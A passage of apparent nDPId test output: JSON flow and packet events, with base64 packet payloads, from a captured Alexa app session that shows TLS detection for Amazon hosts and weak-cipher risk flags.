4fv7u3tNCstR0XV4NZjkmkWC2tobqHSDMtxK7JGg8u32uy9VG+vX\/wDglZ8Of2iLzxZ44g1nwj43+Gvwj021fQYfg78R\/GFv4hvtK1oeXJJ9kuY1BtrOKF4wsTMzM8rFvug0YzL4qn7ajO047Prft6Pquw8wyuKpe3oVLVI\/DLrft5p9U9LH6d+F9PtLmCLxTLqK6hc3kCul6FwgiYBgsS\/wJ09z1JJrR1LTrLV7CXTdRtkmgmQrJHIgYEfQgivLv2UvGdtJ8LYfDmvatBHdaZqkunQrNMFaTBDKq5PzH5sADsK9J8T65F4e8Oahrp2sbKyln2FvvbELY\/SvXwGJhVwkK8dLpP0fX8T3srl9ewVKpCNvaJaeb0evXXS58ofECPxJ8QfiBqH7O+gfEDVL3wfod8bjW7u6dTNJMxybXzFA3qG3YyODuPO1a6XxDr3w4+Avw5u\/EmsywaPoOjW++Zo4mY9QqqqqC8srsVVVUM7uyqAWIB5\/9mKydvhr\/wAJReMXvNb1G4u7uZuWdvMZOT\/wEn8TWjYeHbb4tftk+DvA+swC50TwNoFz4w1C1bBjbUmmSz0syKeGVQdRmUHpLbROMGMV59OpVzLEfWa2s56t2S06LTTbfu9XqfsmdOhw3gXluF0pYf3bXfvT2lJ925Xt\/LFKKskZg+Bf7afjv4YN8YJviRq3hnXtRVZtK+F2h6ZpCfYbZ3GyO8vL+KctdqhDytGViU7o0jkKiRvPv2aPi5qn7Ql78Qf2dP2jfDkkPirwF4hayeLUbGO2uL202KBexeSzRSqs4ng8+AhXMQLRwsxiX6o179t79kjw\/wCH28TXH7Q\/hG5tVMGTYa7BO22VkVJNqOT5fzqxf7qrkkgCvFf25\/gD8MPhv8TPAv8AwUL+G3hG0sfE2k6\/aeHfFt9pcQhTWdB1q8t7WV7oRpmdoLh7W5SRz8gjkycMRXo18NSnRcbHwmWZ1jsPmMKrqPfvt5rtbyOy\/ZZ+IviH4b+PX\/Zr8eao93ayQNP4R1GY\/M0YyWg="} +02407{"flow_id":132,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2406,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":953291,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcG6JAAPIGHQU0VD84rBAq2ABQyx1XQcjSlNdIjoAQAHanswAAAQEICmz6gAsA9nTjCfYAkDttI6Fa+jK+RP2g538MyeFviVYri70PxJA6ODglGOWX6Eov619dI4dA46EZFc2W1JJSot\/Da3o9l8tV6HucbYSlKdDMqcVF11LnS0XtINKUkunMnGT\/ALzYtYnxG8Ut4M8E6h4hhjD3EUGyyiP\/AC1uHISJPxdlH41t15n8S9YHirx3beF7Zt1loBW6vyPuveOp8mM+uxGMhHYvGa9M+FM7w5oyeHtBtNEWYyG2t1R5W6yNj5nPuTk\/jWja273VzHbRj5pHCj8TUdbngPTTd6sb11+S3XP\/AAI8D+p\/CgDsoYkghSCMfKihV+gFOoooAKKKKACiiigBs0MdxC8Ey5R1KsPUGvOtX02XSdQlsZf4G+U+q9jXo9YnjTQjqdl9ttkzNAOgHLL3H4daAOGvLO11C0lsL2BZYZ42jmjcZDqwwQfYg1tfB7xbcKj\/AA38RXTPf6ZEGsLiU\/Ne2WcI+e7pwj987W\/jFZNUdb0m4vxBf6VfGz1Kxl87Tr1Vz5UmMEMP4kYZVl7g9jggA9erwr4tJLov7TWnX1yuIdW8PGCFz03o7MR9eB\/30K9S+HfxBtvG9hJBdWws9WsdqappzPkxMejqf442wSrdxwcEEDlf2qPhN4n+Jvw6kufh1rCab4p0kPPoWoNZi48qQjn90WUSYIDBCwDFQCQCTXmZtQqV8JeGri1L1s9fwueRneGq4nA3pq8oSUku9nqvuv8AM8sj+yfGP9sLwd4B0ord6b8NFufFHiyeMEx2moSWxtNMs5G+75jpd3d0E+8otYnIAdC1X9rz9pz9ij4iadB8NtY1HWfGGtWFwl9omofDAfaL\/Q73zorZLiC8jYJBKPtDZBYo8UdwsiugdDH4z\/ZU\/Yv8IfAPTviD48+Iev23hbw9Z3U3iHUZ9XfzvEF9dTwPJcX0aqTdag08SpEFTzFeURwqpEITE8LeFviT4v0Y+HfhH8F9N+BHhDVgr6nrFpfJP4x1G0+dktyUjMemsfMbMhnuJYld1jELkSJvTlQw+HV5XT\/E6KUsNhcKryTT19fQ5\/QdSOneMtAv7S\/8b\/F74waJYR3kHhvxXqFhY6H8O724tWQyalJp1pBD9rEUzL5ey4udsjNFHHG5kr174I\/DSP4K\/CfTPBeo62uo31rDJdeIdcMHlHU9Rmdp729dcna01xJLKRk434ycVqfDz4ceBvhP4TtvA\/w68M2uk6XalmjtbZT8zsxZ5XY5aSR2JZ5HJd2YsxJJNY3j3W9S8X6pH8IPAI+0apqR8u9lQ\/LaQ\/xliOnHX0HuRXjY3GpU\/dWnRLdvovVng5hmCjS92Nl9mK3bey9Wa\/7L\/wAIvAXjLwtN8RPFXg+0u7ybXrifT7meH51jwFxkfeUncNpyOvFeqa\/8JPh7rWh3mkr4K0iJrq0khWZdNiDIWUqGB28EZzXlXiPxV+1L8E\/GL\/Df4M\/s0QeMfCGn+DrefTNTfxJb6c7akrXJnt237izShYNp2qqs\/wAzYJK87f8A7Sv\/AAUIj8WwS2n7AZbR4fDM095AvjmyaWbUWjikihRztwFKzRklcEyISVCHPrYHBQw2ChSmldLX16n1eVV8ywGX0KDrSvTikvedl1stdFfocR+z78Ov2yfGngaPwj4N0Pwt4I0bTb+8tT4r8TzNqt1clJ3DeRp1rJGqru3LvnuUcFf9SR1+iv2e\/wBmzRPgSmsa9f8Ai3UfFHivxLJC\/iTxTrCxpLdLCHEFvFFEqx29tEJJPLhQcGSR2Z5JHkYvr6b4I+MrrxLqFu6eEvEdws+oyD5ho1+wCtI+OkMuBuYcK4yeGyOW+IX7dfgHTvE198OPgR4T1H4neJ9NlMGqW3hmeFNN0mbGfLvdRlYQQuON0MZluFBB8kgiqwkKWHpKGzjp\/k\/R\/wDA6H1PEGJzDNsc8UryhWbnGy0Teso="} +02415{"flow_id":132,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2407,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976139,"pkt_ts_usec":953617,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcG6NAAPIGHQQ0VD84rBAq2ABQyx1XQc56lNdIjoAQAHaCvAAAAQEICmz6gAsA9nTjLt9qLdnfyltJN9T4k\/Zt\/ZL0bQ7zXvF3wU8C2um2Om4v7zUNDtUggs4YxxIzqFWFEjU4PygID2zXhnizxzrn7Z02kaV4d8OzaD8F9H1C3vrY3qSQXvjR7c77UrD8pttMSRYpl8z95cmJAUSHPnv1v4d\/Fn9oK7j1j9rDxpb3WlpdJcW3wx8MsyaDCUbdH9rkdFn1V1YBj5vl25ZVItlZQ1dd4x8b+GPAGjPrXibUkt4UH7tM5eU\/3UXqx\/ycVGIxcVF8r06s6Mn4erVK8XVjeTfuxWrb87fl95x\/7QFu\/im68KfDGxYm71zxHAoVRkiNThmPsN4P4H0r66RAiBF6AYFfO\/7K\/wAM\/EvjzxvJ+0p8RNMe0jaAweE9MlHMUBBBmI9SCcHvuY9Nte8eKvFWi+DNEm1\/Xrry4IsABV3PK5OFjRRyzscAKOSTUZbTlaVZq3Na3otvv1Z1cbYuiqlDLaclL2Clztar2k2nJJ9eVKMW+6Zn\/EnxwngfQPtFrAtxqV5J9n0myJx505BIz6IoBZj2VT3xXB+H9HbRdO+zz3TXFzNK899duMNcTudzyH0yTwOwAA4FNtzrPiPXJPG\/iyIR3ksZisrENuXT7cnPlg9DI2AXYdSABwoq\/XpnwwAEnAFd94W0n+yNJSKRcSyfPL9T2\/AVzngrRDqOofbZ0zDAQeRwzdh\/Wu1oAKKKKACiiigAooooAKKKKAOO8ZeGjYynVLGP9y5\/eKo+4f8AA1gV6dJHHNG0UqBlYYZWGQRXF+KPCkukubyyUvbMefWP2Pt70AcvqmkXE15Br2h6g1hq1mD9kvo03cHrHIv\/AC0jbAyp+oIIBHYeA\/ipaeI7pfDXiW1XS9cVCTaNJmO6A6yQOceYvcr95e46E87VXV9F0zXrT7FqtoJUDh4zkq0bjo6MMFGHZgQRQBP8bv2UvA3xh1DTvEqTyadq+j6quqadNGS0AvljeNLhochTKqSOBJjcNxNcxJ8O\/wBqPQ5TaRQ+H9ZjXhbky+UzD1IyvP4V1OieO\/HvgoC21SOTxJpifdlDKmoQr75wlwB\/wB\/98123hP4i+DfG2+Pw9rcclxEP39jMpiuIf9+JwHX6kYrzMRlOGrz505Rf912\/DVfgePiskwmJqe0TlB\/3Xa\/yd1+B5HafBj9ojxi32bxT4p0zw\/ZscSrpoMkzDvg9v++hXp3ww+EHg34T6Y1l4bs2a4mwbvULg7ppz7nsPYcfzrqaKrC5XhcLU9oryl3k7tenRfJF4PJsFg6ntVeU\/wCaTu16dF8kgooor0T1RlxbwXcD2t1AksUiFZI5FBVlPBBB6ivDfGH7Cvgw6rN4j+DPiq+8FXs7s8sGnjdau7Ekny8gjJJJAOOele60VhXw1DEq1SN7fevR7nqZXnWaZNUc8HVcL6NaOL\/xRacX80z5v\/4ZV\/afk\/0OX9omwEHQypo6+Zj\/AL5Bz\/wKuo+HX7E\/gHw3rcfi74ja9feMdXjIaObVj+4jYdxFk5+jEj2r1jxH4q8N+EbA6n4n1y1sYM4ElzMF3H+6oPLH2GSa4fWfi34m8Sg2vw90drG2bg61rFuVYj1htzhj\/vSbR\/ssK54ZbhIS5mm\/Vt\/mz18TxrxDiKLpRqRpqWj9nCFNv1cIp\/K9jq\/GvxA8PeA7SMX5ea7uMrYaXaKGnuWHZV7Ad2OFUdSK89ePXPFGtJ4s8byRtcxZ\/s7ToW3QaepGDtP8cpHDSEeygDOV0rQLXTLiXUpbie8v7kD7XqV7Jvnmx0BboqjsigKOwFXq7z5QKn07T7jU7xLK2XLOevYDuTUUMMs8qwwoWdjhVA5JruvC\/h2PQ7TfKAbiQfvG9P8AZFAFzTNOt9KsksbYfKg5Pdj3JqxRRQAUUUUAFFFFABRRRQAUUUUAFIyq6lHUEEYII4NLRQBy\/iLwOcteaKvu1vk="} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":67,"flow_packet_id":10,"flow_first_seen":1490976071237,"flow_last_seen":1490976075957,"flow_tot_l4_data_len":2354,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1366,"flow_avg_l4_data_len":235,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49606,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":77,"flow_packet_id":10,"flow_first_seen":1490976076275,"flow_last_seen":1490976077663,"flow_tot_l4_data_len":2354,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1366,"flow_avg_l4_data_len":235,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":68,"flow_packet_id":28,"flow_first_seen":1490976071286,"flow_last_seen":1490976075975,"flow_tot_l4_data_len":9214,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":329,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45693,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":69,"flow_packet_id":20,"flow_first_seen":1490976071306,"flow_last_seen":1490976075950,"flow_tot_l4_data_len":5532,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":276,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45694,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":71,"flow_packet_id":23,"flow_first_seen":1490976071349,"flow_last_seen":1490976075957,"flow_tot_l4_data_len":5242,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":227,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45695,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":72,"flow_packet_id":23,"flow_first_seen":1490976071380,"flow_last_seen":1490976075949,"flow_tot_l4_data_len":7319,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":318,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45696,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":73,"flow_packet_id":14,"flow_first_seen":1490976071385,"flow_last_seen":1490976075957,"flow_tot_l4_data_len":983,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45697,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2438,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":75,"flow_packet_id":15,"flow_first_seen":1490976071583,"flow_last_seen":1490976075957,"flow_tot_l4_data_len":902,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45698,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2480,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1490976142629,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40878,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2480,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":629437,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8Si5AAEAGxLmsECrYNu8d\/Z+uAbuBOjwrAAAAAKAC\/\/9GYAAAAgQFtAQCCAoA9nYFAAAAAAEDAwg="} +00429{"flow_id":133,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2481,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":691841,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw0iJAAOcGldA27x39rBAq2AG7n66gUyr3gTo8LHASH\/4OHAAAAgQFtAEDAwY="} +00417{"flow_id":133,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2482,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":696112,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoSi9AAEAGxMysECrYNu8d\/Z+uAbuBOjwsoFMq+FAQAVdYjQAA"} +00747{"flow_id":133,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2483,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":698502,"pkt_caplen":297,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":297,"pkt_l4_len":263,"pkt":"AMDKkaPvePiC0\/vCCABFAAEbSjBAAEAGw9isECrYNu8d\/Z+uAbuBOjwsoFMq+FAYAVc4xwAAFgMBAO4BAADqAwNiqd1S7MhG5wB\/dT8PiLwUoMSITVffXbD1xI\/bdNzIUCBtDRI0q2icP6fVqlksmygn0U781lDdxNdezB5jmLBlqwAgamrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACB2toAAP8BAAEAAAAAHAAaAAAXc2tpbGxzLXN0b3JlLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAiqqgAdABcAGFpaAAEA"} +00742{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2483,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":133,"flow_packet_id":4,"flow_first_seen":1490976142629,"flow_last_seen":1490976142698,"flow_tot_l4_data_len":351,"flow_min_l4_data_len":20,"flow_max_l4_data_len":263,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40878,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00536{"flow_id":133,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2484,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":816463,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB91YZAAOcGkh827x39rBAq2AG7n66gUyr4gTo9H1AYf\/i1wAAAFgMBAEoCAABGAwFY3n2Obh+Ev43oa4t9qN6MX4wxb9ryi9I8T8yVK9XgOCBtDRI0q2icP6fVqlksmygn0U781lDdxNdezB5jmLBlqwAvABQDAQABAQ=="} +00857{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2484,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":133,"flow_packet_id":5,"flow_first_seen":1490976142629,"flow_last_seen":1490976142816,"flow_tot_l4_data_len":456,"flow_min_l4_data_len":20,"flow_max_l4_data_len":263,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40878,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00492{"flow_id":133,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2485,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":816600,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABd1YhAAOcGkj027x39rBAq2AG7n66gUytNgTo9H1AYf\/jqaAAAFgMBADAoR\/0TYnF80ADW+lgTaaOlzX3uxl5lxwxGronRv9lj8fc8AZpVx2yvoPs4v43USu0="} +00606{"flow_id":133,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2486,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":816742,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"ePiC0\/vCAMDKkVoBCABFAACy1YZAAOcGkeo27x39rBAq2AG7n66gUyr4gTo9H1AYf\/i3nQAAFgMBAEoCAABGAwFY3n2Obh+Ev43oa4t9qN6MX4wxb9ryi9I8T8yVK9XgOCBtDRI0q2icP6fVqlksmygn0U781lDdxNdezB5jmLBlqwAvABQDAQABARYDAQAwKEf9E2JxfNAA1vpYE2mjpc197sZeZccMRq6J0b\/ZY\/H3PAGaVcdsr6D7OL+N1Ert"} +00417{"flow_id":133,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2487,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":818304,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoSjFAAEAGxMqsECrYNu8d\/Z+uAbuBOj0foFMrTVAQAVdXRQAA"} +00417{"flow_id":133,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2488,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":818617,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoSjJAAEAGxMmsECrYNu8d\/Z+uAbuBOj0foFMrglAQAVdXEAAA"} +00418{"flow_id":133,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2489,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":818751,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoSjNAAEAGxMisECrYNu8d\/Z+uAbuBOj0foFMrglAQAVdXEAAA"} +00502{"flow_id":133,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2490,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":818878,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjSjRAAEAGxIysECrYNu8d\/Z+uAbuBOj0foFMrglAYAVfvDAAAFAMBAAEBFgMBADCSpRSX0nWnelO4\/IR5saDycpiAge1BSi3FeA\/6wYKR0p5m4SxVDg04fn6ItpdwWSs="} +02405{"flow_id":133,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2491,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976142,"pkt_ts_usec":821000,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcSjVAAEAGvxKsECrYNu8d\/Z+uAbuBOj1aoFMrglAQAVdRCwAAFwMBACDyEy0KFdKbUC\/WFyspsU\/hHZ+Fky3\/EoGLWjw7a5O5GBcDAQbAr500BmohzLij0w5m1biFrgAmwtdpqxBZW5qAXJx6GOdqr1ifNX7RfOZWm456pki+irhRn\/wsN1F5wo4YwqjCsSF7RSKA\/O8x21Yhakl1zktwoU95MDj\/wMYMu4fFxYb\/Lgvb877Jyd3Ja0\/subEMJvWz03nYXU\/3xU78uDErjQwgW+1IzxFLJUOoO26JKJEX35hbjcr+c9HQdVI5y+Np7hOoe4LIUIZGCZ2kmfhGUMxniMeRkxFRhlhjGJn3eT2WtSgD9+k3UeIfPcNcfOwLrdNH9Eh+1RXGsnmwwDLrWW8\/G2uVy0vY5TpIrl8GmbAXONyZdgDCdGoyMJMSCqJyfRnxeOeFp6u2o1WKiVvJrvzrwvwSd00OM3o6Vc3tSwCTZ+0O9qXai5SEvScXKa\/kuI\/OacDQfp6ObVW2E9ZfgudBjxIV9ApKpLs9iOFxGVi6EY+Ce40MTF9X9hMLUM4p9CaexL3+j+zjj5I5y5WVZtTp9xf3dsHN59iO5OkXm5zD0nIkMNkw\/jdbLsLM73ogIdaTk67FMl2ocDfO+V44cZD0Klif16pDcj3Mjhwsz63i7X8Iy1mK+yclp7tWOQEEp+9sfQosbBu2eniyAb5Y+sIv3\/\/r74EHoYQhzdxkmVlYuhdsgFFpGuWuy93l0iSPjxNJ3YcBpR\/v9vx89LAVs7Cik4g9b9BIOnsAA8PSaXQUYC8kUDh8IrEDe6O53iZMtMiolZrrwaZs517XYvv\/yTN5L1cwAZsmSXINvH9roZG7EO\/tnM+hx43jy8EqvevcxyrbROHZj1LSLkUrA+QhCO8u1QByBNkfUQ+FOGxU4ZQki6ojENfPttGOk58Dm0+2s51MZNE8PF05Z7TEtC2il+lFN0GsEp81WZTCAWc2rL0WLEH71mMtxBMKZSZqsUyDPKag\/f7HJx\/HGiaZxpMeDoBWT53UMBfQesBVNbPulolmrDQW9dpNsnvmvIEmZCxhToL\/izDkXMPjCtXDMDcXthFS1swTNOOxSKg2OCsNQK0xujEzIY0hdvh8h4P6SqbqokMDgd2fRyuTvPtCiA6se72GkIrPck1GsT2HXoMHWfKMN46xNXJbjXRcEts0yjombeLyjMYmRNCYmeGPNjPKpjEhUUZ1sMQY0pKHEFD0aU+Uvv7TOxHI01FpPmLi8uwKcKkuXrdLJUUUa3Hv1ycbpR+GA0tLFM8GNAs8ugh6Db2VBVw0+WDF90Gxpwayp3tXocUxrFTwgFWi5W\/FNOaII\/vRlYWF2kLO5CSq6DNleHhs\/Yj8JjHcAoLMzNNwnMzC22gW5tZUAbBXe6Owp1pjnf+S0XDK+8V24os28cG5DutrRvLk+TQs7xYQ1WKTm13UOgZDWjL+lFKtNu78akDr9wJCuQw\/FTpsEg9u5o8b5fSnVxTSEIKtTh+N5K+cRWWUdgbban+0IgJ3NmVzCCGhfKrnBhAsNKsT4VaXgKPPlzIPm4VUz9TyYbzuYiSIGJH0Vd5F0VSVExB0B1VpX6zqYeC6I9U9KNO76dB0SCT8kTtsjVDmS70D\/QbJ6NllNbJIL\/UcQ4qH7QXkL\/tNPdOwDj9emAVfKLc1q1L2IHWsao1tmVetTeryzC\/DsP0oxhcjK3Yvh\/FVZbMYjZl1D\/oEU3n+tAOGUBW3GzDK9DA1FaQw0vEFVzautMfmuzE16UtvvQYUtrbFElMIkVVFSYAy9Xsm41P+\/9zynYytlxVb4FgtKMkO3FpSsds7WklwILAejW5v8lpr3KGSjBLUZLsezIUSyUhHYhFY6QhDhc+Dyqft4elLS2gek65FBDfV7V2aMDml2lswlTLiuVEDMyhH4VBxTmZU8rHOomw4j1mrmNwGqdLF8G5+q3CkqRmABxIEdQy\/rsM+b+RyF6E="} 